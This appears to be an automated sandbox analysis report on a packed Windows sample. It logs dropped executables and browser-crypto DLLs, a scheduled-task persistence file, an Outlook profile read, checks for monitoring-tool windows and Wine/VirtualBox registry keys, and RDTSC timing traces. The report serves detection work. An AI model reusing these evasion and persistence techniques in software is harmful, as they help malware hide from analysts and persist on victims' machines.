Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1787392 > 1048576

Source: file.exe

Static PE information: Raw size of cyyltpmo is bigger than: 0x100000 < 0x19a600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2742789936.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2742789936.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.620000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cyyltpmo:EW;zxlgbnji:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cyyltpmo:EW;zxlgbnji:EW;.taggant:EW;
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Unpacked PE file: 29.2.DocumentsBAEHIEBGHD.exe.d90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bwinbwch:EW;iplgynhm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bwinbwch:EW;iplgynhm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 30.2.skotes.exe.d00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bwinbwch:EW;iplgynhm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bwinbwch:EW;iplgynhm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 34.2.skotes.exe.d00000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bwinbwch:EW;iplgynhm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bwinbwch:EW;iplgynhm:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C953480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C953480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: dc5edaf639.exe.34.dr	Static PE information: real checksum: 0x437d4a should be: 0x3288a5
Source: skotes.exe.29.dr	Static PE information: real checksum: 0x1de771 should be: 0x1df415
Source: file.exe	Static PE information: real checksum: 0x1bc171 should be: 0x1ba76d
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x437d4a should be: 0x3288a5
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: real checksum: 0x1de771 should be: 0x1df415

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: cyyltpmo
Source: file.exe	Static PE information: section name: zxlgbnji
Source: file.exe	Static PE information: section name: .taggant
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: section name:
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: section name:
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: section name: bwinbwch
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: section name: iplgynhm
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: ftuqfubw
Source: random[1].exe.0.dr	Static PE information: section name: rwnetmjt
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.29.dr	Static PE information: section name:
Source: skotes.exe.29.dr	Static PE information: section name: .idata
Source: skotes.exe.29.dr	Static PE information: section name:
Source: skotes.exe.29.dr	Static PE information: section name: bwinbwch
Source: skotes.exe.29.dr	Static PE information: section name: iplgynhm
Source: skotes.exe.29.dr	Static PE information: section name: .taggant
Source: dc5edaf639.exe.34.dr	Static PE information: section name:
Source: dc5edaf639.exe.34.dr	Static PE information: section name: .rsrc
Source: dc5edaf639.exe.34.dr	Static PE information: section name: .idata
Source: dc5edaf639.exe.34.dr	Static PE information: section name:
Source: dc5edaf639.exe.34.dr	Static PE information: section name: ftuqfubw
Source: dc5edaf639.exe.34.dr	Static PE information: section name: rwnetmjt
Source: dc5edaf639.exe.34.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B536 push ecx; ret		0_2_6C98B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_00D1D91C push ecx; ret		34_2_00D1D92F

Source: file.exe	Static PE information: section name: cyyltpmo entropy: 7.9526722811295105
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: section name: entropy: 7.982241947691755
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: section name: bwinbwch entropy: 7.953749124235916
Source: random[1].exe.0.dr	Static PE information: section name: ftuqfubw entropy: 7.917249213543929
Source: skotes.exe.29.dr	Static PE information: section name: entropy: 7.982241947691755
Source: skotes.exe.29.dr	Static PE information: section name: bwinbwch entropy: 7.953749124235916
Source: dc5edaf639.exe.34.dr	Static PE information: section name: ftuqfubw entropy: 7.917249213543929

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBAEHIEBGHD.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007721001\dc5edaf639.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsBAEHIEBGHD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBAEHIEBGHD.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBAEHIEBGHD.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsBAEHIEBGHD.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FCC1 second address: 86FCC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FCC5 second address: 86FCCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E04B5 second address: 9E04C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD5E8DE1556h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0D08 second address: 9E0D12 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD5E873B156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0D12 second address: 9E0D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FD5E8DE1556h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E402C second address: 9E4036 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD5E873B156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4036 second address: 9E4065 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a jmp 00007FD5E8DE1566h 0x0000000f pop esi 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 jnc 00007FD5E8DE1556h 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4065 second address: 9E406A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E406A second address: 9E408C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD5E8DE1556h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jl 00007FD5E8DE1556h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jns 00007FD5E8DE1556h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E408C second address: 9E4090 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4090 second address: 86FCC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jns 00007FD5E8DE1560h 0x00000011 pop eax 0x00000012 mov si, dx 0x00000015 push dword ptr [ebp+122D008Dh] 0x0000001b mov esi, 2A0228A1h 0x00000020 call dword ptr [ebp+122D390Ch] 0x00000026 pushad 0x00000027 stc 0x00000028 xor eax, eax 0x0000002a stc 0x0000002b mov edx, dword ptr [esp+28h] 0x0000002f add dword ptr [ebp+122D3622h], edi 0x00000035 mov dword ptr [ebp+122D2DA2h], eax 0x0000003b stc 0x0000003c mov esi, 0000003Ch 0x00000041 clc 0x00000042 add esi, dword ptr [esp+24h] 0x00000046 jmp 00007FD5E8DE155Dh 0x0000004b lodsw 0x0000004d mov dword ptr [ebp+122D317Dh], ebx 0x00000053 add eax, dword ptr [esp+24h] 0x00000057 clc 0x00000058 mov ebx, dword ptr [esp+24h] 0x0000005c sub dword ptr [ebp+122D317Dh], esi 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E40CE second address: 9E4122 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B160h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007FD5E873B164h 0x00000011 push 00000000h 0x00000013 call 00007FD5E873B15Fh 0x00000018 and si, 8FF9h 0x0000001d pop edx 0x0000001e call 00007FD5E873B159h 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jnc 00007FD5E873B156h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4122 second address: 9E416D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD5E8DE1556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c jmp 00007FD5E8DE155Ch 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007FD5E8DE1560h 0x0000001a mov eax, dword ptr [eax] 0x0000001c push ebx 0x0000001d jmp 00007FD5E8DE1561h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 pushad 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E416D second address: 9E41D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD5E873B15Eh 0x0000000a popad 0x0000000b pop eax 0x0000000c pushad 0x0000000d mov dword ptr [ebp+122D3176h], edi 0x00000013 mov dword ptr [ebp+122D2E9Dh], ecx 0x00000019 popad 0x0000001a push 00000003h 0x0000001c jnp 00007FD5E873B157h 0x00000022 push 00000000h 0x00000024 jnl 00007FD5E873B15Ch 0x0000002a pushad 0x0000002b add dword ptr [ebp+122D3025h], edx 0x00000031 jl 00007FD5E873B15Bh 0x00000037 popad 0x00000038 push 00000003h 0x0000003a jc 00007FD5E873B15Ch 0x00000040 or dword ptr [ebp+122D2193h], ecx 0x00000046 movzx edx, di 0x00000049 push 9DAAB81Ch 0x0000004e push eax 0x0000004f push edx 0x00000050 push edx 0x00000051 push eax 0x00000052 pop eax 0x00000053 pop edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E41D6 second address: 9E41DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E41DC second address: 9E41E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E41E0 second address: 9E4214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 5DAAB81Ch 0x0000000f lea ebx, dword ptr [ebp+12447F4Ah] 0x00000015 jmp 00007FD5E8DE1564h 0x0000001a xchg eax, ebx 0x0000001b jnl 00007FD5E8DE1568h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4214 second address: 9E4218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4218 second address: 9E422D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD5E8DE1556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007FD5E8DE1558h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
